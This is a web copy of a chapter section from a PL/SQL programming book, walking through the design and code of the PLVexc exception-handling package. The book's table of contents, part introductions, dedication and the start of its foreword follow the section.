The only way you can really tell if your approach is sound is to try it out. You will encounter requirements, interface issues, and restrictions you would never have discovered from an abstract or theoretical analysis.

Phase 5. Experience phase 3 and phase 4 again and again, each time improving your code and your awareness of best practices.

Be prepared to go back and recode your package. You might even throw away the entire implementation and start again. It is far too easy to believe that just because you spent a lot of time writing and debugging your code and it sure looks pretty that it must be good. I try to never think about the hours of coding I have "thrown away." Too painful. Just accept it as part of the process. Be committed to constantly improving and you will eventually end up with something that you like -- and maybe a few others will find useful as well.

Let's look at how I applied these phases as I constructed the PLVexc package.

22.3.1 Analyzing the Need

A developer must ask and answer many questions in order to properly bullet-proof an application from the perspective of handling errors. These questions include the following:

  • Which exceptions should I trap and handle? How do I handle the different kinds of exceptions that occur in my program?

  • When should I include a WHEN OTHERS handler? Do I have one at every level or just at the very top or outer block of my program?

  • When do I need to use the EXCEPTION_INIT pragma to associate error numbers with messages? How can I avoid using the same error number (in the -20NNN range) in different programs across my application? How can I guarantee a consistent set of messages for these errors?

  • When should I call RAISE_APPLICATION_ERROR rather than simply the RAISE statement to raise an exception?

  • When I handle an exception, what kind of action should I take? Do I ignore the error and continue, record that the error occurred and then continue, notify the error of the problem, stop execution of the program, reraise the same exception? Will the answer to this question change over time or from program to program?

  • If I record my errors, do I write the information to a database table or some memory-based structure, such as a PL/SQL table? What information should I include in the error text? Is all the data I want available from within PL/SQL (consider, for example, how you might determine the name of the program in which an error occurred)? What information will I need in order to do restores and fixes of the data?

  • If I write error log records to a database table, how do I make sure that the log is saved, but that the transaction I was working on in my application is rolled back (as necessitated by the error)? Remember that if an exception is passed unhandled out of a PL/SQL block, then all changes to PL/SQL data structures and database tables are rolled back implicitly and automatically.

  • Will I use the same log table for all of my applications, or should I provide a different log table for each application? Will I then have to create a different program to handle each log table? What should be the structure of the log table?

  • How do I write my exception handlers so that when I am in test and debug mode the information is available in one form (such as displayed on the screen), but when the code goes into production that information is redirected? And how, most importantly, can I do this without having to change my code right before it goes into production (which, at least theoretically, would require another round of tests)?

As you can see, it is very easy to ask lots of questions about exception handling. Some questions yield easy answers. Others require advance planning in application design. Still others are too basic to be answered by any generic package. Before I explore what a package can do for us in this situation, let's first examine the usual solution to these questions and the general perspective taken on exception handling.

22.3.2 The Usual Solution

The traditional approach taken by a PL/SQL based-development effort goes something like this:

Step 1. Train developers on how to write exception handlers. The training is basic and does not make any effort to teach programmers "best practices." Students and project managers alike are satisfied to have been at least introduced to the technology. And, of course, there isn't time for more advanced training. These people have an application to write!

Step 2. Develop some basic set of guidelines for displaying and recording errors in the application. In the more sophisticated and experienced organizations, the best developer might actually design a single log table for everyone to use.

Step 3. Distribute the guideline as little more than a glorified memo. Plead with or demand that the team members follow the standards as laid out in the document. Given the state of PL/SQL development and code management utilities, there really isn't any way to enforce the standards.

Step 4. Unleash the developers. Already behind in the schedule, there is a mad scramble to write the programs. The guidelines are followed, at best, unevenly. It is difficult to find time to remember what is written in a document and even more challenging to find time to write code as suggested. The main thing now is to simply churn out code without obvious points of failure.

22.3.2.1 The traditional jumble of exception handling

With this traditional solution to exception handling, you end up with exception handlers that look like the following:

WHEN NO_DATA_FOUND
THEN
  DBMS_OUTPUT.PUT_LINE
    ('Calc Totals Failed for ' ||
     v_company_name || ' at ' ||
     v_address1);
  INSERT INTO log_table
    (errcod, errmsg, progname, err_ts)
  VALUES
    (SQLCODE, SQLERRM, 'calc_totals', SYSDATE);
  RAISE;
END;

or this:

WHEN OTHERS
THEN
   /* Transaction has failed. */
   ROLLBACK TO trans_start;
   IF SQLCODE = -942
   THEN
      INSERT INTO log_table
        (errcod, errmsg, progname, err_ts)
      VALUES
        (SQLCODE, 'Company table not available', 'add_company',
         SYSDATE);
   ELSE
      INSERT INTO log_table
        (errcod, errmsg, progname, err_ts)
      VALUES
        (SQLCODE, TO_CHAR (v_company_id), 'add_company',
         SYSDATE);
   END IF;
   COMMIT;
END;

22.3.2.2 Drawbacks of the usual handlers

Let's examine these handlers in more detail. In the first example, I display a message to the user, write a record to the log table, and then reraise the same exception (NO_DATA_FOUND). What are the problems with this handler? I can think of three drawbacks:

  1. Reliance on DBMS_OUTPUT. The hard-coding of the call to DBMS_OUTPUT.PUT_LINE procedure means that this handler sends the message to the screen only if output has been enabled and the host environment recognizes and supports DMBS_OUTPUT. This handler would not, for example, display anything in an Oracle Forms application. The error message, furthermore, will always be displayed when output is enabled. There is no flexibility available when using DBMS_OUTPUT. Finally, the string resulting from the concatenation might be longer than 255 characters, in which case PUT_LINE itself raises the VALUE_ERROR exception.

  2. Exposure of log table implementation. The structure of the log table is hard-coded into the exception handler. By exposing this level of implementational detail, the programmer makes it very difficult to change or enhance the way information is sent to the log table. This approach also requires every developer to know the structure of the table, from the name of the table and its columns to the type of data passed to each column. Finally, this code assumes that no rollback of a transaction is required and that none will be issued in the future, since such a rollback would also wipe out the insert to the log table.

  3. Experienced developers needed. On the one hand, you could argue that the code in that first example is simple enough. On the other hand, you could point out that a developer needs to know about the DBMS_OUTPUT builtin package, the SQLCODE and SQLERRM builtin functions, and the fact that the RAISE statement issued without any exception will reraise the same exception.[1]

    [1] I will make a confession: at the time that I wrote my first book, Oracle PL/SQL Programming, I was not aware of this special form of the RAISE statement.

There was more to that block of code than you might have thought at first! Now let's analyze the second example of the traditional exception handler. In this case, the developer was aware of transaction-related issues. The first step performed is a rollback to the savepoint issued at the start of the transaction. An IF statement then checks for a specific error that occurs when the specified table does not exist. The error information is then inserted in the log table. Immediately after the insert, the developer issues a COMMIT so that the log record is preserved.

While it is admirable that the developer thought of these issues, the handler still hard-codes and exposes the log table implementation. In addition, it is simply not always possible to issue a COMMIT inside an exception handler. That code assumes that any DML changes made prior to when the savepoint for trans_start was issued should be committed. I hope that is the case. More fundamentally, though, it is not at all clear to me that you want every developer in a project writing code that takes such liberty with the transaction integrity. Hard-coding specific errors like the -942 is also very questionable. Just consider how much time was spent (lost?) in writing that code: find the error number for the problem, write the code, test the different cases.

And of course these two examples would represent just a small percentage of all the code written in any application of substantial complexity to handle the full range of errors. There must be a better way to handle exceptions!

22.3.3 A Package-Based Solution (Version 1)

Let's now examine how a package-based solution can help overcome some of the weaknesses identified in the previous exception sections (the version of PLVexc I will be discussing and presenting may be found in the file PLVexc1.spp on the companion disk).

Before I dive into developing such a package, it is very important to come up with a set of objectives for the package, as well as an acknowledgment of those issues that the package does not address. My objective for the PLVexc package when I first attempted such a component was to make it easier for developers to handle exceptions in a consistent manner. Most importantly, this meant hiding the implementation of such complexities as writing to a log table, displaying errors to the end user or to the developer (during test mode). In addition, I wanted to provide a mechanism by which individual developers would have to deal with the EXCEPTION_INIT pragma and the -20NNN errors.

Specifically, I envisioned a mode of operation in which a developer could handle the NO_DATA_FOUND exception as shown in the previous example with this kind of code:

WHEN NO_DATA_FOUND
THEN
   PLVexc.handle
      ('calc_totals',
       SQLCODE,
       PLVexc.c_recNstop,
       SQLERRM);
END;

With PLVexc, the developer calls the generic handle program to handle the exception. Arguments passed to handle include the name of the program in which the error occurred, the error code, the type of action to be performed (record and then halt). The fourth argument is the error text, in this case the text returned by SQLERRM.

The handle program offers the first glimmer of a declarative approach to exception handling. I ask PLVexc to handle my error. I pass it the necessary information, including a description of the type of action I want taken. I leave it to PLVexc to figure out how best to satisfy my request.

22.3.3.1 Implementing the generic handler

I relied heavily on top-down design techniques when implementing the handle program. Here is the logical flow for handle:

  • If I am recording the exception, write the information to the table.

  • If I am displaying the exception, show that information on the screen.

  • Finally, if the developer has requested a halting action, raise an exception.

Example 22.2 shows the conversion of these requirements into PL/SQL code. As you can see, the handle program is very short because it relies heavily on private modules. As a result, the code is very readable. For example, after the call to set_context (explained below), I can literally read my program as follows: "If I am recording the exception, record the exception. If I am displaying errors, display the exception." and so on. No comments are needed. And, best of all, I don't yet have to know how I am going to implement the different programs. I have deferred that level of detail to a later time.

Example 22.2: The Body of the handle Procedure

PROCEDURE handle
   (context_in IN VARCHAR2,
    err_code_in IN INTEGER,
    handle_action_in IN VARCHAR2,
    string_in IN VARCHAR2 := SQLERRM)
IS
BEGIN
   set_context (context_in, err_code_in, string_in);

   IF recording_exception (handle_action_in)
   THEN
      record_exception;
   END IF;

   IF showing
   THEN
      display_exception;
   END IF;

   raise_exception (handle_action_in);
END;

Well, not all that much later. Let's take a look now at each of the modules called within handle. We have:

set_context | recording_exception | record_exception
display_exception | raise_exception |

22.3.3.2 Setting the context

The set_context procedure is a private module; it does not appear in the package specification. This procedure copies the arguments provided in the call to handle to "current exception" private variables, declared as follows:

/* Current exception information. */
curr_err_code PLVexc_log.code%TYPE;
curr_context VARCHAR2(100);
curr_err_info PLVexc_log.text%TYPE;

The PLVexc_log table is the structure used to hold the log of errors written from the PLVexc package.

I then reference these package variables in all of my other private modules that handle calls. By taking this approach, I avoid having to pass these values over and over again as parameters to these programs. You might be tempted to argue that I am writing less structured code since I am switching from parameters to package "globals." That would be true if all of my code and variables were not contained inside a single package. Package-level data such as curr_err_code does function like global data, but since it is declared in the body of the package I have control over references to and values in that data. Consequently, I do not incur the same risk of side effects as one usually does with nonparameterized references to global data.

Once I have set the context variables, I can move on to the substance of handle. Next task: record the exception -- if the user has requested this action.

22.3.3.3 Recording the exception

I created a Boolean function to return TRUE if the handle action is a record action, FALSE otherwise, shown below:

FUNCTION recording_exception
   (handle_action_in IN VARCHAR2)
   RETURN BOOLEAN
IS
BEGIN
   RETURN UPPER (handle_action_in) LIKE 'R%' AND
          logging;
END;

There isn't much to this function; it is designed to encapsulate the logic by which I decide if the current exception should be logged. There are two parts to this decision:

  1. Has the user passed a record action in the call to handle?

  2. Has the user turned on logging?

As you can see from the code for recording_exception, a record action is one that starts with R. The c_recNgo constant is set to RC. The c_recNstop constant is set to RH. Notice that this rule is not stated or applied anywhere outside of the recording_exception function. It is a level of detail that would be hard (and a waste of brain cells) to remember.

The other aspect to returning TRUE from this function is the call to logging. We now see the toggle coming into use. If the user has called the nolog procedure to turn off logging, the logging function returns FALSE, which means that recording_exception will return FALSE, which means that the record_exception program will not execute. Notice that even inside the body of PLVexc I do not make a direct reference to the log_flag variable. Instead, I always work through the programmatic interface.

If recording_exception does return TRUE, I call the record_exception procedure. This program encapsulates or hides the details involved in writing to the log table and is shown below:

PROCEDURE record_exception
IS
BEGIN
   INSERT INTO PLVexc_log
      (context, code, text, create_ts)
   VALUES
      (curr_context, curr_err_code,
       curr_err_info, SYSDATE);
EXCEPTION
   WHEN OTHERS THEN NULL;
END;

The procedure is nothing more than an INSERT statement based on the current error variables assigned in the set_context program.

22.3.3.4 Displaying the exception

Once the error is recorded (or ignored), I display the exception if so requested. In this case, I check the value returned by showing (see "plsql-adv-ex-22-2"; this is the second application of the toggle inside the package). If TRUE, I call the display_exception procedure, which deals with all the niceties of constructing a string for display with DBMS_OUTPUT.PUT_LINE:

PROCEDURE display_exception IS
BEGIN
   DBMS_OUTPUT.PUT_LINE
      (curr_context || ' Code ' ||
       TO_CHAR (curr_err_code));

   DBMS_OUTPUT.PUT_LINE
      (SUBSTR (curr_err_info, 1, 255));
END;

Notice that I perform a SUBSTR on the error information before I pass it to the DBMS_OUTPUT.PUT_LINE procedure. A longer string causes a VALUE_ERROR exception; that is just one of the complications when using the builtin package directly. In version 2 of PLVexc, I rely instead on PLVprs.display_wrap to automatically wrap the longer strings into a paragraph format.

22.3.3.5 Responding to the exception action

When I have finished with recording and displaying errors, as directed by the user, it is time to respond to the handle action. I do this with the raise_exception procedure, the last line in the handle body, shown in full in Example 22.3. In this case, I have moved all the conditional logic ("should I raise an exception and how?") to the body of the private module. First, I check to see if the action (the only argument to raise_exception) is a "continue action" (c_go or c_recNgo). If so, I do nothing by executing NULL -- I do not want to raise an exception if the developer has asked that the process simply continue.

On the other hand, if the developer has specified a "halt action" (c_stop or c_recNstop), I get to perform an additional service for the user of PLVexc: if the error code is between -20,000 and -20,999 (notice the BETWEEN statement that references the minimum and maximum error code constants), then raise_exception automatically makes use of the RAISE_APPLICATION_ERROR builtin to raise the exception. Otherwise, the normal RAISE statement is used with the special process_halted exception. In either case, an exception is propagated out of PLVexc, causing the enclosing block to halt, as was requested.

This feature of PLVexc transfers the burden of having to figure out "which way to raise" from individual developers (some of whom may be novices who are not even aware of RAISE_APPLICATION_ERROR) to the package. If, as I discuss below, you create an application-specific error handling package that contains predefined error numbers and exceptions for codes in the -20NNN range, a developer may not even know that she has raised an error that requires the RAISE_APPLICATION_ERROR builtin. Since PLVexc automatically determines the appropriate raise mechanism, that is one more complexity of which developers can remain blissfully ignorant.

Notice that no single program in PLVexc is more than 20 lines in length. Complex steps and expressions are separated and encapsulated behind named elements (variables, procedures, and functions). The result is a package body that looks simplistic, and one which (I hope) makes my readers say to themselves: "Jeez, I can do that!" It is true; you can build packages like this. First, you just need to adopt an impulse to your work that generates the initial ideas (roughly: I can and will improve my environment). Second, you must be fanatically devoted to writing tight, modular code.

Example 22.3: The raise_exception Procedure

PROCEDURE raise_exception
   (handle_action_in IN VARCHAR2)
IS
BEGIN
   IF handle_action_in = c_go OR
      handle_action_in = c_recNgo
   THEN
      NULL;
   ELSIF handle_action_in = c_stop OR
         handle_action_in = c_recNstop
   THEN
      IF curr_err_code
         BETWEEN min_err_code AND max_err_code
      THEN
         RAISE_APPLICATION_ERROR
            (curr_err_code, curr_err_info);
      ELSE
         RAISE process_halted;
      END IF;
   END IF;
END;

22.3.3.6 Finding new uses for PLVexc

PLVexc Version 1.0 is so easy to use and so useful that I find myself applying it to other purposes as well. Two realizations ushered in this new phase:

  1. PLVexc provides a mechanism for writing a message to a table. This could be used for auditing and logging of any information, not simply errors.

  2. I don't have to call PLVexc.handle from within an exception handler. I could call it any time I want to write information out to a table for future analysis.

Suppose that I want to trace the progress of a data transformation and migration job. I find that I can use PLVexc.handle to write a message out to a table after every 100 transactions:

FOR upc_rec IN upc_cur
LOOP
   transform_upc (upc_rec.upc);
   migrate_upc (upc_rec.upc);
   IF MOD (upc_cur%ROWCOUNT, 100) = 0
   THEN
      PLVexc.handle
         ('transmigr', 0,
          PLVexc.c_recNgo,
          upc_rec.upc, upc_rec.description);
   END IF;
END LOOP;

This works wonderfully, and can be seen as a validation of the architecture of the PLVexc package. Difficulty arises, however, when I want to examine the contents of the exception log. Since I am now using it for multiple purposes, I have to distinguish between error records and trace records. In addition, I discover that I may want to record my errors without also recording my trace. Since I am using the same package with the same toggles, however, it's all or nothing -- never a good situation for a developer.

I also become uncomfortable with using an exception handler package as a trace mechanism. It's very convenient, but it is also, strictly speaking, outside of the scope of the original package. That fact should set a red flag waving before your eyes. This adaptation of PLVexc is akin to raising an exception to perform a conditional branching in your program. You can make it work, but all it really does is sow confusion and create maintenance/enhancement nightmares.

When you find yourself using programs in ways different from those originally intended, you should perform some analysis and figure out if this use is justified. If not, change your code to a more straightforward implementation.

In the case of PLVexc, such an analysis yields the realization that I am much better off separating my logging code from my exception handling code. Logging of errors is just one special case of all my logging needs. Tracing code execution is another special case. I am able to adapt PLVexc to meet my other needs, but a better long-term solution would be to create a logging package that can be called by PLVexc and by my trace programs.

And so, after my lengthy development cycle for PLVexc, I come to the conclusion that I should rework the internals of the package. Should I be depressed by this development? Not at all. I have learned, over my years of PL/SQL development, that while I should make every effort to do it right the first time, it is also absolutely impossible to get it right the first time. "Right" is a moving target based more on philosophy than on requirements.

As long as I apply my guidelines for best practices at each stage of development, I am certain that my programs will be both immediately useful and easily enhanced to meet future needs. This first version of PLVexc offers a significant improvement over business-as-usual methods for exception handling. That fact does not stop me, however, from crafting yet another version of PLVexc that is much more powerful and easy to use.

22.3.4 Revamping the PLVexc Package

Rather than proceed step-by-step through the implementation of the current version of PLVexc (which is included on the companion disk), I will discuss the ways in which I used other packages of PL/Vision to enhance PLVexc. I will then examine the impact of these changes in specific areas of PLVexc.

I found (as explored in previous sections) that PLVexc actually combined functionality from (what should have been) several different packages. The "final" version of PLVexc makes use of the following packages:

PLVmsg

Instead of hard-coding the text for messages with a call to SQLERRM or displaying the passed-in string, PLVexc calls the PLVmsg.text function. This program offers a much more flexible and centralized means of storing and providing message text.

PLVlog

The PL/Vision logging package is used both to perform rollbacks, if necessary, and to write error information to the log.

PLVtab

PLVtab provides the table used to maintain the list of bailout errors.

PLVprs

The PLVprs.display_wrap program replaces a call to DBMS_OUTPUT.PUT_LINE with a much more interesting and powerful paragraph-wrapping mechanism. You can now view long lines of error text with ease.

PLVtrc

The trace package is used to maintain an execution stack. This stack can be used to automatically provide the name of the current program, avoiding the need to hard-code this value in the call to the exception handler.

By plugging all of the appropriate elements of PL/Vision into the PLVexc environment, I was able to change that package rapidly into a much more powerful and flexible component. Let's look at how I used PLVlog to greatly enhance the logging capability of PLVexc.

22.3.4.1 Leveraging PLVLog

In the first version of PLVexc, my local record_exception procedure contained a hard-coded INSERT statement to a specific table. In the PL/Vision version of PLVexc, I replace that INSERT statement -- indeed, that entire local module -- with a call to PLVlog as shown below:

IF recording_exception (handle_action_in)
THEN
   PLVlog.put_line
      (context_in, err_code_in, msg_in, USER,
       rb, TRUE);
END IF;

where rb is the function that returns the current "rollback to" behavior for exception handling and TRUE indicates that this call to put_line should override the current logging status. This means that even if logging is turned off outside of PLVexc, you will still be able to log your error information.

With this simple substitution, I have accomplished the following:

  • Disconnected the exception-handling component from a logging capability. If you want to log information that is not an error, you can do so directly with the PLVlog package. You do not have to tweak PLVexc to coincidentally provide this functionality.

  • Greatly increased the logging capability of PLVexc. Since I am now using PLVlog, my exception logging is no longer restricted to simply writing to a database table. I can log to my choice of database table, PL/SQL table, standard output, and string. And as new options appear and are integrated into PLVlog, those options become instantly available to PLVexc as well.

A similar kind of improvement is achieved for showing the error (turned on with a call to PLVexc.show). Instead of simply calling DBMS_OUTPUT.PUT_LINE in my display_exception program, I can instead call the PLVprs.display_wrap so that very long text messages can be displayed in full in wrapped format.

22.3.4.2 Implementing the high-level handlers

The most far-reaching and interesting aspects of the evolution of PLVexc are the high-level handlers. I find it satisfying to be able to type something as simple as:

PLVexc.recNgo;

and have prebuilt code automatically determine the current program, error number, error message, and everything else I need to record that error and then continue.

You have already seen the headers for these high-level handlers and learned about the difficulties of tracking the current program in PL/SQL. Now let's go inside the PLVexc package to see how I implemented these handlers.

There are a total of eight high-level handlers, with overloadings for string and integer versions for each different action. As you can well imagine, the code that needs to be executed within each of these handlers is very similar. I found, in fact, that the only difference is the action requested and the input (message or error code). Consequently, I built a private procedure (it does not appear in the package specification) that is called by all the high-level handlers. I named this program terminate_and_handle for reasons that will be clear in a moment and called it in my recNgo handlers as follows:

PROCEDURE recNgo (msg_in IN VARCHAR2 := NULL)
IS
BEGIN
   terminate_and_handle (c_recNgo, msg_in);
END;

PROCEDURE recNgo (err_code_in IN INTEGER)
IS
BEGIN
   terminate_and_handle (c_recNgo, err_code_in);
END;

A few things to notice: first, if you do not provide an argument when you call recNgo, PLVexc executes the string version, which means that it records the value returned by SQLCODE as the error. Second, I call terminate_and_handle in each of these two overloaded procedures -- so terminate_and_handle must also be overloaded. Here, in fact, is the body of the code behind the two versions of terminate_and_handle:

PROCEDURE terminate_and_handle
   (action_in IN VARCHAR2,
    msg_in IN VARCHAR2 := NULL)
IS
BEGIN
   PLVtrc.terminate;
   handle (PLVtrc.prevmod, SQLCODE, action_in,
       NVL (msg_in, PLVmsg.text (SQLCODE)));
END;

PROCEDURE terminate_and_handle
   (action_in IN VARCHAR2,
    err_code_in IN INTEGER)
IS
BEGIN
   PLVtrc.terminate;
   handle
      (PLVtrc.prevmod, err_code_in, action_in,
       PLVmsg.text (err_code_in));
END;

You can probably see how I came up with the name for this private procedure. It does only two things: first, it calls PLVtrc.terminate to remove the current program from the PLVtrc-managed execution stack. Second, it calls that good old, low-level handler program to handle the error according to the information provided to it from various sources. It obtains the context from the PLVtrc.prevmod function (this returns the previous module, since the call to PLVtrc.terminate has already popped the execution call stack). This convoluted approach was necessary because I couldn't wait to do the terminate after the call to handle. That program might raise an exception!

If I have called the string version of a high-level handler and, hence, the string version of terminate_and_handle, I rely on SQLCODE to retrieve the error, but then pass the input string as the error text (unless it is NULL). If I have called an integer version of the handler, that value is used as the error code. That same number is also passed to PLVmsg.text to retrieve the text for that error.

Again, by leveraging all of these other PL/Vision packages, I can actually simplify the code required in my handlers, but end up with a much more robust implementation.

Previous: 22.2 Application-Specific Exception Packages | Advanced Oracle PL/SQL Programming with Packages | Next: VI. Testing Your Knowledge
22.2 Application-Specific Exception Packages | Book Index | VI. Testing Your Knowledge
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


Advanced Oracle PL/SQL Programming with Packages

By Steven Feuerstein; ISBN 1-56592-238-7E
First Edition, published 1996-10-01.
(See the catalog page for this book.)

Search the text of Advanced Oracle PL/SQL Programming with Packages.

Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Table of Contents

Dedication
Foreword
Preface

Part I: Working With Packages

Chapter 1: PL/SQL Packages
Chapter 2: Best Practices for Packages
Chapter 3: The PL/SQL Development Spiral

Part II: PL/Vision Overview

Chapter 4: Getting Started with PL/Vision
Chapter 5: PL/Vision Package Specifications

Part III: Building Block Packages

Chapter 6: PLV: Top-Level Constants and Functions
Chapter 7: p: A Powerful Substitute for DBMS_OUTPUT
Chapter 8: PLVtab: Easy Access to PL/SQL Tables
Chapter 9: PLVmsg: Single-Sourcing PL/SQL Message Text
Chapter 10: PLVprs, PLVtkn, and PLVprsps: Parsing Strings
Chapter 11: PLVobj: A Packaged Interface to ALL_OBJECTS
Chapter 12: PLVio: Reading and Writing PL/SQL Source Code
Chapter 13: PLVfile: Reading and Writing Operating System Files

Part IV: Developer Utility Packages

Chapter 14: PLVtmr: Analyzing Program Performance
Chapter 15: PLVvu: Viewing Source Code and Compile Errors
Chapter 16: PLVgen: Generating PL/SQL Programs
Chapter 17: PLVhlp: Online Help for PL/SQL Programs
Chapter 18: PLVcase and PLVcat: Converting and Analyzing PL/SQL Code

Part V: Plug-and-Play Packages

Chapter 19: PLVdyn and PLVfk: Dynamic SQL and PL/SQL
Chapter 20: PLVcmt and PLVrb: Commit and Rollback Processing
Chapter 21: PLVlog and PLVtrc: Logging and Tracing
Chapter 22: Exception Handling

Part VI: Testing Your Knowledge

Appendix A: Appendix: PL/SQL Exercises

The Oracle PL/SQL CD Bookshelf Navigation

Copyright © 2000 O'Reilly & Associates. All Rights Reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Part I] Working With Packages

Advanced Oracle PL/SQL Programming with Packages

Advanced Oracle PL/SQL Programming with PackagesSearch this book
Previous: Acknowledgments Part I Next: 1. PL/SQL Packages

Part I: Working With Packages

This part of the book introduces packages, the most important construct in PL/SQL for building reusable code and employing object-oriented design techniques. Chapter 1, PL/SQL Packages describes how and when you should create packages and explains why PL/SQL developers should learn to center their entire development process around packages. Chapter 2, Best Practices for Packages presents my tried-and-true "best practices" for building packages. Chapter 3, The PL/SQL Development Spiral puts packages in the context of overall PL/SQL development by providing a tutorial on solving a typical problem in PL/SQL.

Previous: Acknowledgments | Advanced Oracle PL/SQL Programming with Packages | Next: 1. PL/SQL Packages
Acknowledgments | Book Index | 1. PL/SQL Packages


[Part II] PL/Vision Overview

Advanced Oracle PL/SQL Programming with Packages

Advanced Oracle PL/SQL Programming with PackagesSearch this book
Previous: 3.13 Glancing Backward, Looking Upward Part II Next: 4. Getting Started with PL/Vision

Part II: PL/Vision Overview

This part of the book describes PL/Vision, a collection of PL/SQL packages and supporting scripts that can radically change the way you develop applications with the PL/SQL language. Chapter 4, Getting Started with PL/Vision introduces the individual PL/Vision packages and provides installation instructions for the software included on the companion disk. Chapter 5, PL/Vision Package Specifications is a reference section that summarizes the contents of all of the PL/Vision specifications.

Previous: 3.13 Glancing Backward, Looking Upward | Advanced Oracle PL/SQL Programming with Packages | Next: 4. Getting Started with PL/Vision
3.13 Glancing Backward, Looking Upward | Book Index | 4. Getting Started with PL/Vision


[Part III] Building Block Packages

Advanced Oracle PL/SQL Programming with Packages

Advanced Oracle PL/SQL Programming with PackagesSearch this book
Previous: 5.29 PLVvu: Code and Error Viewing Part III Next: 6. PLV: Top-Level Constants and Functions

Part III: Building Block Packages

This part of the book (Chapters 6 through 13) describes the building block packages of PL/Vision. These are low-level packages upon which other packages in PL/Vision are built; you can use them to enhance your development in various ways. Examples of building block packages include string parsers, a list manager and an interface to PL/SQL tables.

Chapter 6: PLV: Top-Level Constants and Functions
Chapter 7: p: A Powerful Substitute for DBMS_OUTPUT
Chapter 8: PLVtab: Easy Access to PL/SQL Tables
Chapter 9: PLVmsg: Single-Sourcing PL/SQL Message Text
Chapter 10: PLVprs, PLVtkn, and PLVprsps: Parsing Strings
Chapter 11: PLVobj: A Packaged Interface to ALL_OBJECTS
Chapter 12: PLVio: Reading and Writing PL/SQL Source Code
Chapter 13: PLVfile: Reading and Writing Operating System Files

Previous: 5.29 PLVvu: Code and Error Viewing | Advanced Oracle PL/SQL Programming with Packages | Next: 6. PLV: Top-Level Constants and Functions
5.29 PLVvu: Code and Error Viewing | Book Index | 6. PLV: Top-Level Constants and Functions


[Part IV] Developer Utility Packages

Advanced Oracle PL/SQL Programming with Packages

Advanced Oracle PL/SQL Programming with PackagesSearch this book
Previous: 13.10 Tracing PLVfile Activity Part IV Next: 14. PLVtmr: Analyzing Program Performance

Part IV: Developer Utility Packages

This part of the book (Chapters 14 through 18) describes the developer utilities of PL/Vision. These are programs that improve your PL/SQL development environment. Examples include a code generator, a powerful substitute for SHOW ERRORS, and an online help delivery mechanism.

Chapter 14: PLVtmr: Analyzing Program Performance
Chapter 15: PLVvu: Viewing Source Code and Compile Errors
Chapter 16: PLVgen: Generating PL/SQL Programs
Chapter 17: PLVhlp: Online Help for PL/SQL Programs
Chapter 18: PLVcase and PLVcat: Converting and Analyzing PL/SQL Code

Previous: 13.10 Tracing PLVfile Activity | Advanced Oracle PL/SQL Programming with Packages | Next: 14. PLVtmr: Analyzing Program Performance
13.10 Tracing PLVfile Activity | Book Index | 14. PLVtmr: Analyzing Program Performance


[Part V] Plug-and-Play Packages

Advanced Oracle PL/SQL Programming with Packages

Advanced Oracle PL/SQL Programming with PackagesSearch this book
Previous: 18.2 PLVcat: Cataloguing PL/SQL Source Code Part V Next: 19. PLVdyn and PLVfk: Dynamic SQL and PL/SQL

Part V: Plug-and-Play Packages

This part of the book (Chapters 19 through 22) describes the plug-and-play components of PL/Vision. These are pieces of code that can be used as-is in your own applications. Examples include a high-level exception handler mechanism and a generic, reusable logging mechanism.

Chapter 19: PLVdyn and PLVfk: Dynamic SQL and PL/SQL
Chapter 20: PLVcmt and PLVrb: Commit and Rollback Processing
Chapter 21: PLVlog and PLVtrc: Logging and Tracing
Chapter 22: Exception Handling

Previous: 18.2 PLVcat: Cataloguing PL/SQL Source Code | Advanced Oracle PL/SQL Programming with Packages | Next: 19. PLVdyn and PLVfk: Dynamic SQL and PL/SQL
18.2 PLVcat: Cataloguing PL/SQL Source Code | Book Index | 19. PLVdyn and PLVfk: Dynamic SQL and PL/SQL


[Part VI] Testing Your Knowledge

Advanced Oracle PL/SQL Programming with Packages

Advanced Oracle PL/SQL Programming with PackagesSearch this book
Previous: 22.3 Implementing PLVexc Part VI Next: A. Appendix: PL/SQL Exercises

Part VI: Testing Your Knowledge

This part of the book contains a set of exercises (and their solutions) to test your knowledge of the PL/SQL language. You might want to try out the exercises before you dive into Parts III, IV, and V of this book.

Appendix A: Appendix: PL/SQL Exercises

Previous: 22.3 Implementing PLVexc | Advanced Oracle PL/SQL Programming with Packages | Next: A. Appendix: PL/SQL Exercises
22.3 Implementing PLVexc | Book Index | A. Appendix: PL/SQL Exercises


Dedication

Many people in the computer software industry are preoccupied with the year 2000. How many systems will break down? How much money will it cost to keep things going? I find myself thinking about the year 2000 as more of a handy "check point" for the state of humanity. After all, if we are going to consider ourselves as somehow more than just mammals, we should hold ourselves to a different standard than simply propagation of the species and individual survival.

So I ask myself: What progress have we made (over the last 100 years, 1000, 2000, whatever!) in fashioning a world grounded in justice and equality? And I would have to say that the picture as we approach the year 2000 is fairly bleak. Most people live in poverty, a handful control most of the resources and power, and--well, I'm sure you've read the same stories I have. It's easy to get depressed, isn't it? Fortunately, some among us refuse to accept the status quo.

I dedicate this book to the thousands and thousands of people around the world who devote their lives to combating tyranny and exploitation--those who never receive awards from corporate foundations and often perish "en la lucha" -- especially those who suffer at the hands of my own government.

Forget about the generals, CEOs, and sports celebrities of our day. They just show you how well mammals can adapt to highly varied circumstances and still flourish. Let's instead celebrate and recognize the few among us who represent the best of what we can achieve as moral beings.

-- Steven Feuerstein

Advanced Oracle PL/SQL Programming with Packages | Next: Foreword
Book Index | Foreword
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


Foreword

There is nothing more difficult to take in hand, more perilous to conduct or more uncertain in its success, than to take the lead in the introduction of a new order of things.

- -- Niccolo Machiavelli, The Prince , 1513

Paradigm: Shift Happens

- -- Author Unknown

